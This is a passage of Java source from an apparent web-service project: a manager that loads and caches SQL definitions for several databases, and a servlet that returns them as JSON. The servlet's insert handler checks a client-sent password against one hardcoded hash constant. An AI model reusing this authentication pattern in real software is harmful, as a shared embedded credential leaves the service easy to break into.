{\n\t\t\tbreak;\n\t\t}\n\t\tcase SQLSERVER: {\n\t\t\tbreak;\n\t\t}\n\t\tcase DB2: {\n\t\t\tbreak;\n\t\t}\n\t\t}\n\n\t\treturn result;\n\n\t}\n\n\tpublic void setSqlObjectByCache(String sqlid, SQLObject sqlobj) {\n\t\tswitch (DataServer.getInstance().getProperties().getDbtype()) {\n\t\tcase ORACLE: {\n\t\t\torasqlcache.put(sqlid, sqlobj);\n\t\t\tbreak;\n\t\t}\n\t\tcase MYSQL: {\n\t\t\tbreak;\n\t\t}\n\t\tcase SQLSERVER: {\n\t\t\tbreak;\n\t\t}\n\t\tcase DB2: {\n\t\t\tbreak;\n\t\t}\n\t\t}\n\t}\n\n\tpublic SQLObject getSQLObjectByDB(String sqlid) throws Exception {\n\t\tSQLObject result = null;\n\t\tConnection conn = DataServer.getInstance().getPool().getConnection();\n\t\ttry {\n\t\t\tConnection nativeconn = DataServer.getInstance().getPool()\n\t\t\t\t\t.getNativeConnection(conn);\n\t\t\ttry {\n\t\t\t\tDataExecutor executor = DataExecutorFactory\n\t\t\t\t\t\t.getExecutor(DataServer.getInstance().getProperties()\n\t\t\t\t\t\t\t\t.getDbtype());\n\n\t\t\t\tList<SQLParam> params = new ArrayList<SQLParam>();\n\t\t\t\tSQLParam param = null;\n\n\t\t\t\tList<Map<String, Object>> datas = null;\n\t\t\t\tswitch (DataServer.getInstance().getProperties().getDbtype()) {\n\t\t\t\tcase ORACLE: {\n\t\t\t\t\tparam = new SQLParam();\n\t\t\t\t\tparam.setDtype(String.valueOf(OracleTypes.VARCHAR));\n\t\t\t\t\tparam.setIotype(SQLParam.ParamType.in.name());\n\t\t\t\t\tparam.setIndex(\"1\");\n\t\t\t\t\tparam.setValue(sqlid);\n\t\t\t\t\t// param.buildPositions();\n\t\t\t\t\tparams.add(param);\n\t\t\t\t\tdatas = executor.queryData(OracleSql.SELECT_SQL, false,\n\t\t\t\t\t\t\tparams, nativeconn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tcase MYSQL: {\n\t\t\t\t\tdatas = executor.queryData(\"{? = call getSQLObject(?)}\",\n\t\t\t\t\t\t\ttrue, params, nativeconn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase SQLSERVER: {\n\t\t\t\t\tdatas = executor.queryData(\"{? = call getSQLObject(?)}\",\n\t\t\t\t\t\t\ttrue, params, nativeconn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase DB2: {\n\t\t\t\t\tdatas = executor.queryData(\"{? = call getSQLObject(?)}\",\n\t\t\t\t\t\t\ttrue, params, nativeconn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (datas.size() <= 0) {\n\t\t\t\t\tthrow new Exception(\"数据库中不存在SQLID为：\" + sqlid + \" 的对象，请检查!\");\n\t\t\t\t} else {\n\t\t\t\t\tMap<String, Object> data = datas.get(0);\n\n\t\t\t\t\tresult = this.getSQlObjectByMap(data);\n\t\t\t\t\tthis.setSqlObjectByCache(sqlid, result);\n\t\t\t\t}\n\t\t\t\tnativeconn.commit();\n\t\t\t} catch (Exception e) {\n\t\t\t\tnativeconn.rollback();\n\t\t\t\tthrow e;\n\t\t\t}\n\t\t} finally {\n\t\t\tconn.close();\n\t\t\tconn = null;\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tpublic SQLObject getSQLObjectById(String sqlid) throws Exception {\n\t\treadLock.lock();\n\t\ttry {\n\t\t\tSQLObject result = this.getSQLObjectByCache(sqlid);\n\t\t\tif (result == null) {\n\t\t\t\tsynchronized (sqlid.intern()) {\n\t\t\t\t\tresult = this.getSQLObjectByCache(sqlid);\n\t\t\t\t\tif (result == null) {\n\t\t\t\t\t\tresult = getSQLObjectByDB(sqlid);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn result;\n\t\t} finally {\n\t\t\treadLock.unlock();\n\t\t}\n\t}\n\n\tpublic List<Map<String, Object>> getAllSQLObjectForMap() throws Exception {\n\t\tList<Map<String, Object>> result = null;\n\t\tConnection conn = DataServer.getInstance().getPool().getConnection();\n\t\ttry {\n\t\t\tConnection nativeconn = DataServer.getInstance().getPool()\n\t\t\t\t\t.getNativeConnection(conn);\n\t\t\ttry {\n\t\t\t\tDataExecutor executor = DataExecutorFactory\n\t\t\t\t\t\t.getExecutor(DataServer.getInstance().getProperties()\n\t\t\t\t\t\t\t\t.getDbtype());\n\n\t\t\t\tswitch (DataServer.getInstance().getProperties().getDbtype()) {\n\t\t\t\tcase ORACLE: {\n\t\t\t\t\tresult = executor.queryData(OracleSql.SELECT_ALL_SQL,\n\t\t\t\t\t\t\tfalse, null, nativeconn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase MYSQL: {\n\t\t\t\t\tresult = executor.queryData(\n\t\t\t\t\t\t\t\"{? = call PKG_SQLObject.getAllSQLObject }\", true,\n\t\t\t\t\t\t\tnull, nativeconn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase SQLSERVER: {\n\t\t\t\t\tresult = executor.queryData(\n\t\t\t\t\t\t\t\"{? = PKG_SQLObject.getAllSQLObject }\", true, null,\n\t\t\t\t\t\t\tnativeconn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tcase DB2: {\n\t\t\t\t\tresult = executor.queryData(\n\t\t\t\t\t\t\t\"{? = PKG_SQLObject.getAllSQLObject }\", true, null,\n\t\t\t\t\t\t\tnativeconn);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tnativeconn.commit();\n\t\t\t} catch (Exception e) {\n\t\t\t\tnativeconn.rollback();\n\t\t\t\tthrow e;\n\t\t\t}\n\t\t} finally {\n\t\t\tconn.close();\n\t\t\tconn = null;\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic List<SQLObject> getAllSQLObject() throws Exception {\n\t\tList<SQLObject> results = new ArrayList<SQLObject>();\n\t\tList<Map<String, Object>> list = getAllSQLObjectForMap();\n\t\tIterator<Map<String, Object>> iter = list.iterator();\n\t\tMap<String, Object> data = null;\n\t\tSQLObject result = null;\n\t\twriteLock.lock();\n\t\ttry {\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tdata = iter.next();\n\n\t\t\t\tresult = this.getSQlObjectByMap(data);\n\t\t\t\tthis.setSqlObjectByCache(result.getSqlId(), result);\n\n\t\t\t\tresults.add(result);\n\t\t\t}\n\t\t} finally {\n\t\t\twriteLock.unlock();\n\t\t}\n\t\treturn results;\n\t}\n\n\tpublic Map<String, Object> saveSQLObjectBySqlid(String sqlid, String sql,\n\t\t\tList<SQLParam> params) throws Exception {\n\t\tMap<String, Object> result = null;\n\t\tresult = this.saveSQLObject(sql, params);\n\t\tsynchronized (sqlid.intern()) {\n\t\t\tthis.getSQLObjectByDB(sqlid);\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic Map<String, Object> saveSQLObject(String sql, List<SQLParam> params)\n\t\t\tthrows Exception {\n\t\tMap<String, Object> result = null;\n\t\tConnection conn = DataServer.getInstance().getPool().getConnection();\n\t\ttry {\n\t\t\tConnection nativeconn = DataServer.getInstance().getPool()\n\t\t\t\t\t.getNativeConnection(conn);\n\t\t\ttry {\n\t\t\t\tDataExecutor executor = DataExecutorFactory\n\t\t\t\t\t\t.getExecutor(DataServer.getInstance().getProperties()\n\t\t\t\t\t\t\t\t.getDbtype());\n\n\t\t\t\tresult = executor.saveData(sql, params, nativeconn);\n\t\t\t\tnativeconn.commit();\n\t\t\t} catch (Exception e) {\n\t\t\t\tnativeconn.rollback();\n\t\t\t\tthrow e;\n\t\t\t}\n\t\t} finally {\n\t\t\tconn.close();\n\t\t\tconn = null;\n\t\t}\n\n\t\treturn result;\n\t}\n\n\tpublic List<MetaData> queryMetaData(String sql, boolean isCursor)\n\t\t\tthrows Exception {\n\t\tList<MetaData> results = null;\n\n\t\tConnection conn = DataServer.getInstance().getPool().getConnection();\n\t\ttry {\n\t\t\tConnection nativeconn = DataServer.getInstance().getPool()\n\t\t\t\t\t.getNativeConnection(conn);\n\t\t\ttry {\n\t\t\t\tDataExecutor executor = DataExecutorFactory\n\t\t\t\t\t\t.getExecutor(DataServer.getInstance().getProperties()\n\t\t\t\t\t\t\t\t.getDbtype());\n\n\t\t\t\tresults = executor.queryMetaData(sql, isCursor, nativeconn);\n\n\t\t\t\tnativeconn.commit();\n\t\t\t} catch (Exception e) {\n\t\t\t\tnativeconn.rollback();\n\t\t\t\tthrow e;\n\t\t\t}\n\t\t} finally {\n\t\t\tconn.close();\n\t\t\tconn = null;\n\t\t}\n\t\treturn results;\n\t}\n\n\tpublic Map<String, Object> queryParams(String sql,\n\t\t\tMap<String, Object> results) throws TechException {\n\t\ttry {\n\t\t\tConnection conn = DataServer.getInstance().getPool()\n\t\t\t\t\t.getConnection();\n\t\t\ttry {\n\t\t\t\tConnection nativeconn = DataServer.getInstance().getPool()\n\t\t\t\t\t\t.getNativeConnection(conn);\n\t\t\t\ttry {\n\t\t\t\t\tDataExecutor executor = DataExecutorFactory\n\t\t\t\t\t\t\t.getExecutor(DataServer.getInstance()\n\t\t\t\t\t\t\t\t\t.getProperties().getDbtype());\n\n\t\t\t\t\tMap<String, Object> tempresults = executor.queryParams(sql,\n\t\t\t\t\t\t\tnativeconn);\n\t\t\t\t\tnativeconn.commit();\n\t\t\t\t\tresults.put(\"datas\", tempresults);\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tnativeconn.rollback();\n\t\t\t\t\tthrow e;\n\t\t\t\t}\n\t\t\t} finally {\n\t\t\t\tconn.close();\n\t\t\t\tconn = null;\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tthrow new TechException(e.getClass().getName() + \" \\n\"\n\t\t\t\t\t+ e.getMessage());\n\t\t}\n\n\t\treturn results;\n\t}\n\n\tpublic Map<String, String> getTypeMap() {\n\t\tMap<String, String> result = new HashMap<String, String>();\n\n\t\treturn result;\n\t}\n\t/**\n\t * 加载sql语句缓存\n\t * @param sqlid\n\t * @param sqlMap\n\t */\n\tpublic  void  loadSqlCache(String sqlid,Map<String, Object> data){\n\t\tif(SQLObjectManager.sqlCacheName.equals(sqlid)){\n\t\t\tif(!data.containsKey(\"sqlid\")){\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tSQLObject result =  getSQlObjectByMap(data);\n\t\t\tsetSqlObjectByCache(data.get(\"sqlid\").toString(), result);\n\t\t}\n\t}\n\tpublic static void main(String args[]) throws Exception {\n\t\tnew DataServer(new File(\n\t\t\t\t\"E:/toos/apache-tomcat-7.0.4/wtpwebapps/IXWebService\")).start();\n\n\t\tSQLObject sql = SQLObjectManager.getInstance().getAllSQLObject().get(0);\n\n\t\tSystem.out.println(sql.getTableName());\n\n\t\tSystem.out.println(sql.getDefupdateparams());\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservice/webservice/src/java/com/techsoft/sqldefine/SQLObjectForFlashServlet.java",
    "content": "package com.techsoft.sqldefine;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.io.OutputStreamWriter;\nimport java.io.Reader;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONArray;\nimport com.alibaba.fastjson.JSONObject;\nimport com.alibaba.fastjson.serializer.SerializerFeature;\nimport com.techsoft.MetaData;\nimport com.techsoft.SQLObject;\nimport com.techsoft.SQLParam;\nimport com.techsoft.container.DataServer;\nimport com.techsoft.dataconverter.JSONConverter;\nimport com.techsoft.sql.SQLObjectManager;\n\npublic class SQLObjectForFlashServlet extends HttpServlet {\n\tprivate static final long serialVersionUID = -6164343264098194181L;\n\tprivate static JSONArray metadatas = new JSONArray();\n\n\tstatic {\n\t\tJSONObject metadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"VARCHAR2\");\n\t\tmetadata.put(\"PRECISION\", 100);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"SQLID\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 100);\n\t\tmetadata.put(\"DTYPE\", 12);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"NUMBER\");\n\t\tmetadata.put(\"PRECISION\", 10);\n\t\tmetadata.put(\"SCALE\", -127);\n\t\tmetadata.put(\"FNAME\", \"OBJ_VERSION\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 0);\n\t\tmetadata.put(\"DTYPE\", 2);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"NUMBER\");\n\t\tmetadata.put(\"PRECISION\", 20);\n\t\tmetadata.put(\"SCALE\", -127);\n\t\tmetadata.put(\"FNAME\", \"SQL_OPTIONS\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 0);\n\t\tmetadata.put(\"DTYPE\", 2);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"VARCHAR2\");\n\t\tmetadata.put(\"PRECISION\", 1000);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"SQLNAME\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 1000);\n\t\tmetadata.put(\"DTYPE\", 12);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"VARCHAR2\");\n\t\tmetadata.put(\"PRECISION\", 4000);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"SQLDESC\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 4000);\n\t\tmetadata.put(\"DTYPE\", 12);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"VARCHAR2\");\n\t\tmetadata.put(\"PRECISION\", 50);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"OID\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 50);\n\t\tmetadata.put(\"DTYPE\", 12);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"VARCHAR2\");\n\t\tmetadata.put(\"PRECISION\", 50);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"PID\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 50);\n\t\tmetadata.put(\"DTYPE\", 12);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"VARCHAR2\");\n\t\tmetadata.put(\"PRECISION\", 50);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"MID\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 50);\n\t\tmetadata.put(\"DTYPE\", 12);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"VARCHAR2\");\n\t\tmetadata.put(\"PRECISION\", 100);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"TABLENAME\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 50);\n\t\tmetadata.put(\"DTYPE\", 100);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DEF_SELECT_SQL\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DEF_SELECT_PARAMS\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DEF_SELECT_METADATA\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DEF_INSERT_SQL\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DEF_INSERT_PARAMS\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DEF_UPDATE_SQL\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DEF_UPDATE_PARAMS\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DEF_DELETE_SQL\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DEF_DELETE_PARAMS\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"SELECT_SQL\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"INSERT_SQL\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"UPDATE_SQL\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"CLOB\");\n\t\tmetadata.put(\"PRECISION\", -1);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"DELETE_SQL\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", -1);\n\t\tmetadata.put(\"DTYPE\", 2005);\n\t\tmetadatas.add(metadata);\n\t\tmetadata = new JSONObject();\n\t\tmetadata.put(\"DTYPENAME\", \"VARCHAR\");\n\t\tmetadata.put(\"PRECISION\", 200);\n\t\tmetadata.put(\"SCALE\", 0);\n\t\tmetadata.put(\"FNAME\", \"KEYFIELD\");\n\t\tmetadata.put(\"NULLABLE\", \"true\");\n\t\tmetadata.put(\"MAXLEN\", 200);\n\t\tmetadata.put(\"DTYPE\", 12);\n\t\tmetadatas.add(metadata);\n\t}\n\n\tpublic SQLObjectForFlashServlet() {\n\t\tsuper();\n\t}\n\n\tpublic void querySqlObject(String sqlid, JSONObject out) throws Exception {\n\t\tJSONArray datas = new JSONArray();\n\t\tJSONObject data = null;\n\t\tSQLObject sqlobj = SQLObjectManager.getInstance().getSQLObjectById(\n\t\t\t\tsqlid);\n\t\tif (sqlobj != null) {\n\t\t\tdata = new JSONObject();\n\n\t\t\tdata.put(\"OID\", sqlobj.getOid());\n\t\t\tdata.put(\"SQLID\", sqlobj.getSqlId());\n\t\t\tdata.put(\"OBJ_VERSION\", sqlobj.getObjectVersion());\n\t\t\tdata.put(\"SQLNAME\", sqlobj.getSqlName());\n\t\t\tdata.put(\"DEF_SELECT_SQL\", sqlobj.getDefSelectSql());\n\t\t\tdata.put(\"DEF_SELECT_PARAMS\", sqlobj.getDefselectparams());\n\t\t\tdata.put(\"DEF_SELECT_METADATA\", sqlobj.getDefselectmetadata());\n\t\t\tdata.put(\"DEF_INSERT_SQL\", sqlobj.getDefInsertSql());\n\t\t\tdata.put(\"DEF_INSERT_PARAMS\", sqlobj.getDefinsertparams());\n\t\t\tdata.put(\"DEF_UPDATE_SQL\", sqlobj.getDefUpdateSql());\n\t\t\tdata.put(\"DEF_UPDATE_PARAMS\", sqlobj.getDefupdateparams());\n\t\t\tdata.put(\"DEF_DELETE_SQL\", sqlobj.getDefDeleteSql());\n\t\t\tdata.put(\"DEF_DELETE_PARAMS\", sqlobj.getDefdeleteparams());\n\t\t\tdata.put(\"SELECT_SQL\", sqlobj.getSelectSql());\n\t\t\tdata.put(\"INSERT_SQL\", sqlobj.getInsertSql());\n\t\t\tdata.put(\"UPDATE_SQL\", sqlobj.getUpdateSql());\n\t\t\tdata.put(\"DELETE_SQL\", sqlobj.getDeleteSql());\n\t\t\tdata.put(\"SQL_OPTIONS\", sqlobj.getSqlOptions());\n\t\t\tdata.put(\"TABLENAME\", sqlobj.getTableName());\n\t\t\tdata.put(\"PID\", sqlobj.getPid());\n\t\t\tdata.put(\"MID\", sqlobj.getMid());\n\t\t\tdata.put(\"KEYFIELD\", sqlobj.getKeyField());\n\t\t\tdatas.add(data);\n\t\t}\n\t\tout.put(\"outdata\", datas);\n\t\tout.put(\"outmetadata\", metadatas);\n\n\t}\n\n\tpublic void queryAllSqlObject(JSONObject js, JSONObject out)\n\t\t\tthrows Exception {\n\t\tJSONObject data = null;\n\t\tSQLObject sqlobj = null;\n\t\tJSONArray datas = new JSONArray();\n\n\t\tList<SQLObject> sqlobjs = SQLObjectManager.getInstance()\n\t\t\t\t.getAllSQLObject();\n\t\tIterator<SQLObject> iter = sqlobjs.iterator();\n\t\twhile (iter.hasNext()) {\n\t\t\tsqlobj = iter.next();\n\t\t\tdata = new JSONObject();\n\n\t\t\t// data.put(\"OID\", sqlobj.getOid());\n\t\t\tdata.put(\"SQLID\", sqlobj.getSqlId());\n\t\t\t// data.put(\"OBJ_VERSION\", sqlobj.getObjectVersion());\n\t\t\tdata.put(\"SQLNAME\", sqlobj.getSqlName());\n\t\t\t// data.put(\"DEF_SELECT_SQL\", sqlobj.getDefSelectSql());\n\t\t\t// data.put(\"DEF_SELECT_PARAMS\", sqlobj.getDefselectparams());\n\t\t\t// data.put(\"DEF_SELECT_METADATA\", sqlobj.getDefselectmetadata());\n\t\t\t// data.put(\"DEF_INSERT_SQL\", sqlobj.getDefInsertSql());\n\t\t\t// data.put(\"DEF_INSERT_PARAMS\", sqlobj.getDefinsertparams());\n\t\t\t// data.put(\"DEF_UPDATE_SQL\", sqlobj.getDefUpdateSql());\n\t\t\t// data.put(\"DEF_UPDATE_PARAMS\", sqlobj.getDefupdateparams());\n\t\t\t// data.put(\"DEF_DELETE_SQL\", sqlobj.getDefDeleteSql());\n\t\t\t// data.put(\"DEF_DELETE_PARAMS\", sqlobj.getDefdeleteparams());\n\t\t\t// data.put(\"SELECT_SQL\", sqlobj.getSelectSql());\n\t\t\t// data.put(\"INSERT_SQL\", sqlobj.getInsertSql());\n\t\t\t// data.put(\"UPDATE_SQL\", sqlobj.getUpdateSql());\n\t\t\t// data.put(\"DELETE_SQL\", sqlobj.getDeleteSql());\n\t\t\t// data.put(\"SQL_OPTIONS\", sqlobj.getSqlOptions());\n\t\t\t// data.put(\"TABLENAME\", sqlobj.getTableName());\n\t\t\t// data.put(\"PID\", sqlobj.getPid());\n\t\t\t// data.put(\"MID\", sqlobj.getMid());\n\t\t\tdatas.add(data);\n\t\t}\n\n\t\tout.put(\"outdata\", datas);\n\t\tout.put(\"outmetadata\", metadatas);\n\t}\n\n\tprivate void queryMetaData(String sql, boolean isCursor, JSONObject result)\n\t\t\tthrows Exception {\n\t\tList<MetaData> results = SQLObjectManager.getInstance().queryMetaData(\n\t\t\t\tsql, isCursor);\n\n\t\tMetaData md = null;\n\t\tJSONObject metadata = null;\n\t\tJSONArray metadatas = new JSONArray();\n\t\tIterator<MetaData> iter = results.iterator();\n\t\twhile (iter.hasNext()) {\n\t\t\tmd = iter.next();\n\t\t\tmetadata = new JSONObject();\n\t\t\tmetadata.put(\"DTYPENAME\", md.getDtypename());\n\t\t\tmetadata.put(\"PRECISION\", md.getPrecision());\n\t\t\tmetadata.put(\"SCALE\", md.getScale());\n\t\t\tmetadata.put(\"FNAME\", md.getFname());\n\t\t\tmetadata.put(\"NULLABLE\", md.getNullable());\n\t\t\tmetadata.put(\"MAXLEN\", md.getPrecision());\n\t\t\tmetadata.put(\"DTYPE\", md.getDtype());\n\t\t\tmetadatas.add(metadata);\n\t\t}\n\n\t\tresult.put(\"outmetadata\", metadatas);\n\t}\n\n\tpublic void saveInserted(JSONArray js, JSONObject result) throws Exception {\n\t\tIterator<SQLParam> iter = null;\n\t\tJSONObject json = null;\n\t\tSQLParam param = null;\n\t\tString paramName = null;\n\t\tString sqlid = null;\n\t\tSQLObject sqlobj = SQLObjectManager.getInstance().getSQLObject(\n\t\t\t\tDataServer.getInstance().getProperties().getDbtype());\n\t\tJSONConverter adapter = new JSONConverter();\n\n\t\tJSONArray resultInserts = new JSONArray();\n\t\tMap<String, Object> resultobj = null;\n\t\tfor (int index = 0; index < js.size(); index++) {\n\t\t\titer = sqlobj.getInsertParams().iterator();\n\t\t\tjson = js.getJSONObject(index);\n\t\t\tif (!json.getString(\"USER_PASS\").equalsIgnoreCase(\n\t\t\t\t\t\"5F9DD7DF9CC8B7F4A758C43C95F2AFEE\")) {\n\t\t\t\tthrow new Exception(\"用户密码输入错误，请重新输入\");\n\t\t\t}\n\t\t\twhile (iter.hasNext()) {\n\t\t\t\tparam = iter.next();\n\t\t\t\tparamName = param.getName();\n\t\t\t\tparam.setValue(null);\n\t\t\t\tif (json.get(paramName) != null) {\n\t\t\t\t\tparam.setValue(json.get(paramName));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tsqlid = json.getString(\"SQLID\");\n\t\t\tresultobj = 